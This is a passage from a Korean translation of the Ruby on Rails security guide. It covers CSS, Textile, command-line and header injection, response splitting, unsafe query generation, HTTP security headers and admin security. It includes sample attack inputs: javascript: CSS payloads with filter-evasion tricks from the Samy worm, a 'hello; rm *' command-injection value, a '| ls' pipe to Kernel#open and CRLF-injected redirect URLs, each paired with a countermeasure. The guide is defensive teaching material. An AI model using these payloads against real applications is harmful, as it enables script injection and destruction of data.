2006년 12월에는 MySpace 피싱 공격에서 실제로 34,000개의 사용자 이름과 비밀번호가 도난당했습니다. 이 공격의 아이디어는 "login_home_index_html"이라는 프로필 페이지를 생성하여 URL이 매우 신뢰성 있게 보이도록 하는 것이었습니다. 특별히 만들어진 HTML과 CSS를 사용하여 페이지에서 진짜 MySpace 콘텐츠를 숨기고 자체 로그인 폼을 표시했습니다.

6.4 CSS Injection

CSS Injection은 사실상 JavaScript Injection입니다. 왜냐하면 일부 브라우저 (IE, 일부 Safari 버전 등)에서 CSS에서 JavaScript를 허용하기 때문입니다. 웹 애플리케이션에서 사용자 정의 CSS를 허용하는 것에 대해 신중히 생각해보세요.

CSS Injection은 잘 알려진 MySpace Samy 웜에 의해 가장 잘 설명됩니다. 이 웜은 Samy(공격자)의 프로필을 방문함으로써 자동으로 Samy에게 친구 요청을 보냈습니다. 몇 시간 안에 100만 개 이상의 친구 요청이 생성되어 MySpace가 오프라인 상태가 되었습니다. 다음은 해당 웜에 대한 기술적인 설명입니다.

MySpace은 많은 태그를 차단했지만 CSS는 허용했습니다. 그래서 웜의 작성자는 다음과 같이 CSS에 JavaScript를 넣었습니다:

<div style="background:url('javascript:alert(1)')">

따라서 페이로드는 style 속성에 있습니다. 그러나 이미 작은 따옴표와 큰 따옴표가 사용되었기 때문에 페이로드에는 따옴표를 사용할 수 없습니다. 그러나 JavaScript에는 어떤 문자열이든 코드로 실행하는 편리한 eval() 함수가 있습니다.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval() 함수는 제한된 목록 입력 필터에 대한 악몽입니다. 왜냐하면 이 함수는 style 속성이 "innerHTML"이라는 단어를 숨길 수 있기 때문입니다:

alert(eval('document.body.inne' + 'rHTML'));

다음 문제는 MySpace가 "javascript"라는 단어를 필터링하는 것이었습니다. 그래서 작성자는 이를 우회하기 위해 "javascript"를 사용했습니다:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

웜의 작성자에게 다른 문제는 CSRF 보안 토큰이었습니다. 이 토큰 없이는 POST로 친구 요청을 보낼 수 없었습니다. 그래서 그는 사용자를 추가하기 전에 페이지에 GET을 보내고 결과를 CSRF 토큰을 위해 구문 분석하는 방식으로 이를 해결했습니다. 결국 그는 4KB의 웜을 얻었고, 그것을 프로필 페이지에 주입했다.

moz-binding CSS 속성은 Gecko 기반 브라우저 (예: Firefox)에서 CSS 내에서 JavaScript를 도입하는 또 다른 방법으로 입증되었다.

6.4.1 대응책

이 예제는 다시 한 번 제한된 목록 필터가 완벽하지 않음을 보여주었다. 그러나 웹 애플리케이션에서 사용자 정의 CSS는 꽤 드문 기능이므로 허용된 CSS 필터를 찾기 어려울 수 있습니다. 사용자가 사용자 정의 색상이나 이미지를 허용하도록하고 웹 애플리케이션에서 CSS를 작성하도록 허용할 수 있습니다. 실제로 필요한 경우 허용된 CSS 필터에 대한 모델로 Rails의 sanitize() 메서드를 사용하십시오.

6.5 Textile 삽입

보안상의 이유로 HTML 이외의 텍스트 서식을 제공하려면 서버 측에서 HTML로 변환되는 마크업 언어를 사용하십시오. RedCloth는 Ruby용이지만 예방 조치 없이는 XSS에 취약할 수도 있는 이러한 언어입니다.

예를 들어, RedCloth는 _test_<em>test<em>로 변환하여 텍스트를 이탤릭체로 만듭니다. 그러나 현재 버전 3.0.4까지도 XSS에 취약합니다. 심각한 버그가 제거된 새로운 버전 4를 사용하십시오. 그러나 해당 버전에도 일부 보안 버그가 있으므로 대응책은 여전히 적용됩니다. 다음은 버전 3.0.4의 예입니다:

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

:filter_html 옵션을 사용하여 Textile 프로세서가 생성하지 않은 HTML을 제거하십시오.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

그러나 이렇게 하면 모든 HTML이 필터링되지는 않습니다. 일부 태그는 남아 있을 것입니다 (설계상), 예를 들어 <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

6.5.1 대응책

XSS 대응책 섹션에서 설명한대로 허용된 입력 필터와 함께 RedCloth를 사용하는 것이 좋습니다.

6.6 Ajax 삽입

참고: "일반" 작업과 마찬가지로 Ajax 작업에도 동일한 보안 조치가 필요합니다. 그러나 한 가지 예외가 있습니다. 작업이 뷰를 렌더링하지 않는 경우, 출력은 이미 컨트롤러에서 이스케이프되어야 합니다.

in_place_editor 플러그인을 사용하거나 뷰를 렌더링하는 대신 문자열을 반환하는 작업을 사용하는 경우, 작업에서 반환 값을 이스케이프해야 합니다. 그렇지 않으면 반환 값에 XSS 문자열이 포함되어 악성 코드가 브라우저로 반환됩니다. h() 메서드를 사용하여 모든 입력 값을 이스케이프하십시오.

6.7 명령 줄 삽입

참고: 사용자 제공 명령 줄 매개변수를 주의해서 사용하십시오.

응용 프로그램이 기본 운영 체제에서 명령을 실행해야 하는 경우 Ruby에는 system(command), exec(command), spawn(command)`command`와 같은 여러 가지 메서드가 있습니다. 사용자가 전체 명령 또는 일부 명령을 입력할 수 있는 경우 이러한 함수를 특히 주의해서 사용해야 합니다. 대부분의 쉘에서 첫 번째 명령의 끝에 세미콜론 (;)이나 수직 막대 (|)로 연결하여 다른 명령을 실행할 수 있기 때문입니다.

user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# "hello"를 출력하고 현재 디렉토리의 파일을 삭제합니다.

대응책은 명령 줄 매개변수를 안전하게 전달하는 system(command, parameters) 메서드를 사용하는 것입니다.

system("/bin/echo", "hello; rm *")
# "hello; rm *"을 출력하고 파일을 삭제하지 않습니다.

6.7.1 Kernel#open의 취약점

Kernel#open은 인수가 수직 막대 (|)로 시작하는 경우 운영 체제 명령을 실행합니다.

open('| ls') { |file| file.read }
# `ls` 명령을 통해 파일 목록을 문자열로 반환합니다.

대응책은 File.open, IO.open 또는 URI#open을 대신 사용하는 것입니다. 이들은 운영 체제 명령을 실행하지 않습니다.

File.open('| ls') { |file| file.read }
# `ls` 명령을 실행하지 않고 `| ls` 파일을 엽니다 (있는 경우)

IO.open(0) { |file| file.read }
# stdin을 엽니다. 인수로 문자열을 허용하지 않습니다.

require 'open-uri'
URI('https://example.com').open { |file| file.read }
# URI를 엽니다. `URI()`는 `| ls`를 허용하지 않습니다.

6.8 헤더 삽입

경고: HTTP 헤더는 동적으로 생성되며 특정 상황에서 사용자 입력이 삽입될 수 있습니다. 이로 인해 잘못된 리디렉션, XSS 또는 HTTP 응답 분할이 발생할 수 있습니다.

HTTP 요청 헤더에는 Referer, User-Agent (클라이언트 소프트웨어) 및 Cookie 필드 등이 있습니다. 예를 들어 응답 헤더에는 상태 코드, Cookie 및 위치 (리디렉션 대상 URL) 필드가 있습니다. 이 모든 필드는 사용자가 제공하며 더 또는 덜 노력을 들여 조작할 수 있습니다. 헤더 필드도 이스케이프해야 합니다. 예를 들어 관리 영역에서 사용자 에이전트를 표시할 때 이스케이프하십시오. 또한, 사용자 입력을 기반으로 응답 헤더를 일부 구축할 때 무엇을 하는지 알아야 합니다. 예를 들어, 사용자를 특정 페이지로 리디렉션하려고 합니다. 이를 위해 주어진 주소로 리디렉션하기 위해 폼에 "referer" 필드를 도입했습니다:

redirect_to params[:referer]

Rails는 문자열을 Location 헤더 필드에 넣고 302(리디렉션) 상태를 브라우저로 보냅니다. 악의적인 사용자가 할 수 있는 첫 번째 일은 다음과 같습니다:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

그리고 (루비 및) Rails 버전 2.1.2까지의 버그로 인해 해커는 임의의 헤더 필드를 주입할 수 있습니다. 예를 들어 다음과 같이 할 수 있습니다:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

%0d%0a는 루비에서 \r\n으로 URL 인코딩된 것으로, 이는 루비에서 개행 문자와 줄 바꿈 문자(CRLF)를 나타냅니다. 따라서 두 번째 예에서 두 번째 Location 헤더 필드가 첫 번째를 덮어쓰기 때문에 두 번째 예의 결과적인 HTTP 헤더는 다음과 같습니다.

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

따라서 헤더 주입에 대한 공격 벡터는 헤더 필드에 CRLF 문자를 주입하는 것에 기반합니다. 가짜 리디렉션으로 공격자가 무엇을 할 수 있을까요? 그들은 사용자의 것과 동일한 모습을 한 피싱 사이트로 리디렉션할 수 있지만, 다시 로그인하도록 요청하고 (로그인 자격 증명을 공격자에게 보냄) 악성 소프트웨어를 설치할 수도 있습니다. Rails 2.1.2는 redirect_to 메서드에서 Location 필드에 대해 이러한 문자를 이스케이프합니다. 사용자 입력으로 다른 헤더 필드를 구축할 때 직접 이스케이프하도록 해야 합니다.

6.8.1 DNS 리바인딩 및 호스트 헤더 공격

DNS 리바인딩은 컴퓨터 공격 형태로 자주 사용되는 도메인 이름 해석을 조작하는 방법입니다. DNS 리바인딩은 동일 출처 정책을 우회하기 위해 도메인 이름 시스템(DNS)을 악용합니다. 도메인을 다른 IP 주소로 재바인딩하고 변경된 IP 주소에서 랜덤 코드를 실행하여 Rails 앱에 대한 시스템을 침해합니다.

DNS 리바인딩 및 기타 호스트 헤더 공격에 대비하기 위해 ActionDispatch::HostAuthorization 미들웨어를 사용하는 것이 좋습니다. 개발 환경에서는 기본적으로 활성화되어 있으며, 프로덕션 및 기타 환경에서는 허용된 호스트 목록을 설정하여 활성화해야 합니다. 예외를 구성하고 사용자 정의 응답 앱을 설정할 수도 있습니다.

Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # /healthcheck/ 경로에 대한 호스트 확인에서 요청 제외
  exclude: ->(request) { request.path =~ /healthcheck/ }
  # 사용자 정의 Rack 애플리케이션을 응답으로 추가
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

자세한 내용은 ActionDispatch::HostAuthorization 미들웨어 문서에서 확인할 수 있습니다.

6.8.2 응답 분할

헤더 주입이 가능하다면 응답 분할도 가능할 수 있습니다. HTTP에서 헤더 블록은 두 개의 CRLF와 실제 데이터(일반적으로 HTML)로 이어집니다. 응답 분할의 아이디어는 헤더 필드에 두 개의 CRLF를 주입한 다음 악성 HTML이 포함된 다른 응답을 주입하는 것입니다. 응답은 다음과 같을 것입니다:

HTTP/1.1 302 Found [첫 번째 표준 302 응답]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [공격자가 생성한 두 번째 새 응답]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [임의의 악성 입력이
Keep-Alive: timeout=15, max=100         리디렉션된 페이지로 표시됨]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

일부 상황에서는 이를 통해 악성 HTML이 피해자에게 표시될 수 있습니다. 그러나 이는 Keep-Alive 연결에서만 작동하는 것으로 보입니다(많은 브라우저가 일회성 연결을 사용합니다). 그러나 이에 의존할 수 없습니다. 어떤 경우에도 이는 심각한 버그이며, 헤더 주입(따라서 응답 분할) 위험을 제거하기 위해 Rails를 버전 2.0.5 또는 2.1.2로 업데이트해야 합니다.

7 안전하지 않은 쿼리 생성

Active Record가 매개변수를 해석하는 방식과 Rack이 쿼리 매개변수를 구문 분석하는 방식의 조합으로 인해 IS NULL WHERE 절과 함께 예상치 못한 데이터베이스 쿼리를 실행할 수 있었습니다. 이 보안 문제에 대한 응답으로 Rails를 기본적으로 안전하게 유지하기 위해 deep_munge 메서드가 도입되었습니다.

deep_munge가 수행되지 않았다면 공격자가 사용할 수 있는 취약한 코드의 예는 다음과 같습니다:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

params[:token][nil], [nil, nil, ...] 또는 ['foo', nil] 중 하나인 경우, nil에 대한 테스트를 우회하지만 여전히 SQL 쿼리에 IS NULL 또는 IN ('foo', NULL) WHERE 절이 추가됩니다. 기본적으로 Rails를 안전하게 유지하기 위해 deep_munge는 일부 값을 nil로 대체합니다. 아래 표는 요청으로 전송된 JSON을 기반으로 매개변수가 어떻게 보이는지 보여줍니다:

JSON Parameters
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

위험을 인식하고 처리하는 방법을 알고 있다면 응용 프로그램을 구성하여 deep_munge를 비활성화하고 이전 동작으로 돌아갈 수 있습니다:

config.action_dispatch.perform_deep_munge = false

8 HTTP 보안 헤더

응용 프로그램의 보안을 향상시키기 위해 Rails는 HTTP 보안 헤더를 반환하도록 구성할 수 있습니다. 일부 헤더는 기본적으로 구성되어 있으며, 다른 헤더는 명시적으로 구성해야 합니다.

8.1 기본 보안 헤더

기본적으로 Rails는 다음과 같은 응답 헤더를 반환하도록 구성되어 있습니다. 응용 프로그램은 모든 HTTP 응답에 대해 이러한 헤더를 반환합니다.

8.1.1 X-Frame-Options

X-Frame-Options 헤더는 브라우저가 페이지를 <frame>, <iframe>, <embed> 또는 <object> 태그에서 렌더링할 수 있는지 여부를 나타냅니다. 이 헤더는 기본적으로 SAMEORIGIN으로 설정되어 동일한 도메인에서만 프레임을 허용합니다. 모든 도메인에서 프레임을 허용하려면 DENY로 설정하거나 이 헤더를 완전히 제거하세요.

8.1.2 X-XSS-Protection

Rails에서는 문제가 있는 레거시 XSS 감사기를 비활성화하기 위해 기본적으로 [X-XSS-Protection][] 헤더가 0으로 설정됩니다.

8.1.3 X-Content-Type-Options

Rails에서는 X-Content-Type-Options 헤더가 기본적으로 nosniff로 설정됩니다. 이는 브라우저가 파일의 MIME 유형을 추측하는 것을 방지합니다.

8.1.4 X-Permitted-Cross-Domain-Policies

이 헤더는 Rails에서 기본적으로 none으로 설정됩니다. 이는 Adobe Flash 및 PDF 클라이언트가 페이지를 다른 도메인에 임베딩하는 것을 허용하지 않습니다.

8.1.5 Referrer-Policy

Rails에서는 Referrer-Policy 헤더가 기본적으로 strict-origin-when-cross-origin으로 설정됩니다. 크로스 오리진 요청의 경우, 이는 Referer 헤더에 원본만을 보냅니다. 이렇게 함으로써 경로 및 쿼리 문자열과 같은 전체 URL의 다른 부분에서 액세스할 수 있는 개인 데이터의 누출을 방지합니다.

8.1.6 기본 헤더 구성

이러한 헤더는 다음과 같이 기본적으로 구성됩니다:

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '0',
  'X-Content-Type-Options' => 'nosniff',
  'X-Permitted-Cross-Domain-Policies' => 'none',
  'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

config/application.rb에서 이러한 헤더를 재정의하거나 추가할 수 있습니다:

config.action_dispatch.default_headers['X-Frame-Options'] = 'DENY'
config.action_dispatch.default_headers['Header-Name']     = 'Value'

또는 제거할 수 있습니다:

config.action_dispatch.default_headers.clear

8.2 Strict-Transport-Security 헤더

HTTP Strict-Transport-Security (HTST) 응답 헤더는 브라우저가 현재 및 향후 연결에 대해 자동으로 HTTPS로 업그레이드되도록 보장합니다.

force_ssl 옵션을 활성화할 때 응답에 헤더가 추가됩니다:

  config.force_ssl = true

8.3 Content-Security-Policy 헤더

XSS 및 인젝션 공격으로부터 보호하기 위해 응용 프로그램에 Content-Security-Policy 응답 헤더를 정의하는 것이 좋습니다. Rails는 헤더를 구성할 수 있는 DSL을 제공합니다.

적절한 초기화 파일에서 보안 정책을 정의하세요:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # 위반 보고서를 위한 URI 지정
  policy.report_uri "/csp-violation-report-endpoint"
end

전역으로 구성된 정책은 리소스별로 재정의할 수 있습니다:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end

또는 비활성화할 수 있습니다:

class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

멀티 테넌트 응용 프로그램에서 계정 서브도메인과 같은 요청별 값들을 주입하기 위해 람다를 사용하세요:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end

8.3.1 위반 보고서 작성

지정된 URI로 위반 보고서를 보고하려면 report-uri 지시문을 활성화하세요:

Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end

레거시 콘텐츠를 마이그레이션하는 경우 정책을 강제하지 않고 위반을 보고하려는 경우 Content-Security-Policy-Report-Only 응답 헤더를 설정하여 위반만 보고하도록 설정하세요:

Rails.application.config.content_security_policy_report_only = true

또는 컨트롤러에서 재정의할 수 있습니다:

class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

8.3.2 Nonce 추가

'unsafe-inline'을 고려하는 경우 대신 Nonce를 사용하는 것을 고려하세요. Nonces는 기존 코드 위에 Content Security Policy를 구현할 때 'unsafe-inline'보다 상당한 개선을 제공합니다. ```ruby

config/initializers/content_security_policy.rb

Rails.application.config.content_security_policy do |policy| policy.script_src :self, :https end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) } ```

구성하는 nonce 생성기에는 몇 가지 트레이드오프가 있습니다. SecureRandom.base64(16)을 사용하는 것은 각 요청마다 새로운 무작위 nonce를 생성하기 때문에 좋은 기본값입니다. 그러나 이 방법은 조건부 GET 캐싱과 호환되지 않습니다. 왜냐하면 새로운 nonce는 모든 요청에 대해 새로운 ETag 값을 생성하기 때문입니다. per-request 무작위 nonce 대신 세션 id를 사용하는 대안은 다음과 같습니다.

Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }

이 생성 방법은 ETag와 호환되지만, 그 보안은 세션 id가 충분히 무작위적이고 보안되지 않은 쿠키에 노출되지 않는 것에 달려 있습니다.

기본적으로 nonce는 script-srcstyle-src에 적용됩니다. nonce 생성기가 정의된 경우 config.content_security_policy_nonce_directives를 사용하여 어떤 지시문이 nonce를 사용할지 변경할 수 있습니다.

Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

nonce 생성이 초기화 파일에 구성되면 html_options의 일부로 nonce: true를 전달하여 스크립트 태그에 자동 nonce 값을 추가할 수 있습니다.

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

javascript_include_tag에서도 동일하게 작동합니다.

<%= javascript_include_tag "script", nonce: true %>

csp_meta_tag 도우미를 사용하여 인라인 <script> 태그를 허용하는 세션별 nonce 값을 가진 메타 태그 "csp-nonce"를 생성합니다.

<head>
  <%= csp_meta_tag %>
</head>

이는 Rails UJS 도우미에서 동적으로 로드되는 인라인 <script> 요소를 생성하는 데 사용됩니다.

8.4 Feature-Policy 헤더

참고: Feature-Policy 헤더는 Permissions-Policy로 이름이 변경되었습니다. Permissions-Policy는 다른 구현을 필요로하며 아직 모든 브라우저에서 지원되지 않습니다. 앞으로 이 미들웨어의 이름을 변경하지 않기 위해 새 이름을 사용하지만 현재 헤더 이름과 구현은 유지합니다.

브라우저 기능의 사용 또는 차단을 허용하려면 응답 헤더로 Feature-Policy를 정의할 수 있습니다. Rails는 헤더를 구성할 수 있는 DSL을 제공합니다.

적절한 초기화 파일에 정책을 정의합니다.

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none
  policy.gyroscope   :none
  policy.microphone  :none
  policy.usb         :none
  policy.fullscreen  :self
  policy.payment     :self, "https://secure.example.com"
end

전역으로 구성된 정책은 리소스별로 재정의할 수 있습니다.

class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end

8.5 Cross-Origin Resource Sharing

브라우저는 스크립트에서 시작된 교차 출처 HTTP 요청을 제한합니다. Rails를 API로 실행하고 별도의 도메인에서 프론트엔드 앱을 실행하려면 Cross-Origin Resource Sharing (CORS)를 활성화해야 합니다.

CORS를 처리하기 위해 Rack CORS 미들웨어를 사용할 수 있습니다. --api 옵션으로 애플리케이션을 생성한 경우 Rack CORS가 이미 구성되어 있을 수 있으므로 다음 단계를 건너뛸 수 있습니다.

시작하려면 Gemfile에 rack-cors 젬을 추가합니다.

gem 'rack-cors'

다음으로 미들웨어를 구성하기 위해 초기화 파일을 추가합니다.

# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, "Rack::Cors" do
  allow do
    origins 'example.com'

    resource '*',
      headers: :any,
      methods: [:get, :post, :put, :patch, :delete, :options, :head]
  end
end

9 Intranet 및 관리 보안

Intranet 및 관리 인터페이스는 특권 액세스를 허용하기 때문에 인기있는 공격 대상입니다. 이는 몇 가지 추가 보안 조치가 필요하지만 실제 세계에서는 그 반대가 사실입니다.

2007년에는 인트라넷에서 정보를 도난하는 첫 번째 맞춤형 트로이 목마가 있었습니다. 몬스터 닷컴의 "Monster for employers" 웹 사이트로, 온라인 채용 웹 애플리케이션입니다. 맞춤형 트로이 목마는 지금까지 매우 드물며, 위험은 상당히 낮지만 가능성이 있으며, 클라이언트 호스트의 보안이 중요한 예입니다. 그러나 인트라넷 및 관리 응용 프로그램에 대한 최고의 위협은 XSS 및 CSRF입니다.

9.1 Cross-Site Scripting

응용 프로그램이 외부 네트워크에서 악성 사용자 입력을 다시 표시하는 경우 XSS에 취약해집니다. 사용자 이름, 코멘트, 스팸 보고서, 주문 주소는 XSS가 발생할 수 있는 몇 가지 일반적이지 않은 예입니다.

관리 인터페이스 또는 인트라넷에서 입력이 살균되지 않은 단일 위치가 있는 경우 전체 응용 프로그램이 취약해집니다. 가능한 공격에는 특권 관리자의 쿠키 도용, 관리자의 비밀번호를 도용하기 위한 iframe 삽입 또는 브라우저 보안 취약점을 통해 악성 소프트웨어를 설치하여 관리자의 컴퓨터를 탈취하는 것이 포함됩니다.

XSS에 대한 대응 조치는 Injection 섹션을 참조하십시오.

9.2 Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF), 또는 Cross-Site Reference Forgery (XSRF)로도 알려진 것은 거대한 공격 방법으로, 공격자는 관리자나 Intranet 사용자가 할 수 있는 모든 작업을 수행할 수 있습니다. 앞에서 CSRF가 어떻게 작동하는지 이미 보았으므로, 여기에는 Intranet이나 관리자 인터페이스에서 공격자가 수행할 수 있는 몇 가지 예시가 있습니다.

실제 예로는 CSRF를 통한 라우터 재구성이 있습니다. 공격자는 CSRF가 포함된 악성 이메일을 멕시코 사용자에게 보냈습니다. 이메일은 사용자에게 기다리고 있는 전자 카드가 있다고 주장했지만, 멕시코에서 인기 있는 라우터 모델을 대상으로 하는 이미지 태그도 포함되어 있었습니다. 이 요청은 DNS 설정을 변경하여 멕시코 기반 은행 사이트로의 요청이 공격자의 사이트로 매핑되도록 했습니다. 이 라우터를 통해 은행 사이트에 접속한 모든 사람은 공격자의 가짜 웹사이트를 보게 되고 자격 증명이 도용되었습니다.

다른 예로는 Google Adsense의 이메일 주소와 비밀번호를 변경하는 것입니다. 피해자가 Google Adsense에 로그인되어 있는 경우, 광고 캠페인을 관리하는 Google 광고 인터페이스의 자격 증명을 공격자가 변경할 수 있습니다.

또 다른 인기 있는 공격은 악의적인 XSS를 전파하기 위해 웹 애플리케이션, 블로그 또는 포럼을 스팸으로 채우는 것입니다. 물론, 공격자는 URL 구조를 알아야하지만, 대부분의 Rails URL은 상당히 직관적이거나 오픈 소스 애플리케이션의 관리 인터페이스인 경우 쉽게 알아낼 수 있습니다. 공격자는 모든 가능한 조합을 시도하는 악성 IMG 태그를 포함하여 1,000번의 행운의 추측을 할 수도 있습니다.

관리자 인터페이스와 Intranet 애플리케이션에서 CSRF에 대한 대응책은 CSRF 섹션의 대응책을 참조하십시오.

9.3 추가적인 주의사항

일반적인 관리자 인터페이스는 다음과 같이 작동합니다: www.example.com/admin에 위치하며, User 모델에서 관리자 플래그가 설정된 경우에만 액세스할 수 있으며, 사용자 입력을 다시 표시하고 관리자가 원하는대로 데이터를 삭제/추가/편집할 수 있습니다. 다음은 이에 대한 몇 가지 생각입니다.

  • 최악의 경우를 고려하는 것이 매우 중요합니다: 만약 누군가가 실제로 쿠키나 사용자 자격 증명을 획득했다면 어떻게 될까요. 공격자의 가능성을 제한하기 위해 관리자 인터페이스에 역할을 도입할 수 있습니다. 또는 공개 부분의 애플리케이션에서 사용하는 것과 다른 관리자 인터페이스용 특별한 로그인 자격 증명을 사용할 수도 있습니다. 또는 매우 심각한 작업을 위한 특별한 비밀번호를 사용할 수도 있습니다.

  • 관리자는 정말로 전 세계 어디에서나 인터페이스에 액세스해야합니까? 로그인을 일부 소스 IP 주소로 제한하는 것을 고려해보세요. 사용자의 IP 주소를 알아내기 위해 request.remote_ip를 검사하세요. 이는 완벽한 방어 수단은 아니지만, 좋은 장벽입니다. 그러나 프록시를 사용할 수도 있음을 기억하세요.

  • 관리자 인터페이스를 admin.application.com과 같은 특별한 서브도메인으로 설정하고, 별도의 사용자 관리를 갖는 별도의 애플리케이션으로 만드는 것이 좋습니다. 이렇게 하면 일반 도메인인 www.application.com에서 관리자 쿠키를 도용하는 것이 불가능합니다. 이는 브라우저의 동일 출처 정책 때문입니다: www.application.com의 주입된 (XSS) 스크립트는 admin.application.com의 쿠키를 읽을 수 없으며 그 반대도 마찬가지입니다.

10 환경 보안

이 안내서의 범위를 벗어나서 애플리케이션 코드와 환경을 보호하는 방법에 대해 알려드리기는 어렵습니다. 그러나 데이터베이스 구성 (예: config/database.yml), credentials.yml의 마스터 키 및 기타 암호화되지 않은 비밀 정보를 보호하십시오. 환경별로 이러한 파일과 기타 민감한 정보를 포함할 수 있는 파일의 액세스를 추가로 제한할 수도 있습니다.

10.1 사용자 정의 자격 증명

Rails는 config/credentials.yml.enc에 비밀 정보를 저장하며, 이 파일은 암호화되어 직접 편집할 수 없습니다. Rails는 config/master.key를 사용하거나 환경 변수 ENV["RAILS_MASTER_KEY"]를 찾아 자격 증명 파일을 암호화합니다. 자격 증명 파일이 암호화되어 있으므로 마스터 키가 안전하게 보관되는 한 버전 관리에 저장할 수 있습니다.

기본적으로 자격 증명 파일에는 애플리케이션의 secret_key_base가 포함되어 있습니다. 또한 외부 API의 액세스 키와 같은 기타 비밀 정보를 저장하는 데 사용할 수도 있습니다.

자격 증명 파일을 편집하려면 bin/rails credentials:edit를 실행하십시오. 이 명령은 자격 증명 파일이 존재하지 않는 경우 해당 파일을 생성합니다. 또한 이 명령은 마스터 키가 정의되지 않은 경우 config/master.key를 생성합니다.

자격 증명 파일에 저장된 비밀은 Rails.application.credentials를 통해 액세스할 수 있습니다. 예를 들어, 다음과 같이 복호화된 config/credentials.yml.enc가 있는 경우:

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key"SOMEKEY"를 반환합니다. Rails.application.credentials.system.access_key_id"1234AB"를 반환합니다. 만약 어떤 키가 비어있을 때 예외가 발생하길 원한다면, 느낌표 버전을 사용할 수 있습니다:

# 어떤_api_키가 비어있을 때...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

팁: bin/rails credentials:help를 사용하여 자격 증명에 대해 더 알아보세요.

경고: 마스터 키를 안전하게 보관하세요. 마스터 키를 커밋하지 마세요.

11 의존성 관리 및 CVE

보안 문제를 포함하여 새 버전 사용을 장려하기 위해 의존성을 업데이트하지 않습니다. 이는 응용 프로그램 소유자가 우리의 노력과 관계없이 직접 젬을 수동으로 업데이트해야하기 때문입니다. 취약한 의존성을 안전하게 업데이트하려면 bundle update --conservative gem_name을 사용하세요.

12 추가 자료

보안 환경은 변화하기 때문에 최신 정보를 유지하는 것이 중요합니다. 새로운 취약점을 놓치는 것은 치명적일 수 있습니다. (Rails) 보안에 대한 추가 자료는 다음에서 찾을 수 있습니다:

피드백

이 가이드의 품질을 개선하는 데 도움을 주시기를 권장합니다.

오타나 사실적인 오류를 발견하면 기여해주십시오. 시작하려면 문서 기여 섹션을 읽어보세요.

불완전한 내용이나 최신 정보가 아닌 내용을 발견할 수도 있습니다. 주요한 부분에 누락된 문서를 추가해주세요. Edge 가이드에서 이미 문제가 해결되었는지 확인하세요. 스타일과 규칙은 Ruby on Rails 가이드 지침을 확인하세요.

수정할 내용을 발견했지만 직접 수정할 수 없는 경우 이슈를 열어주세요.

마지막으로, Ruby on Rails 문서에 관한 모든 토론은 공식 Ruby on Rails 포럼에서 환영합니다.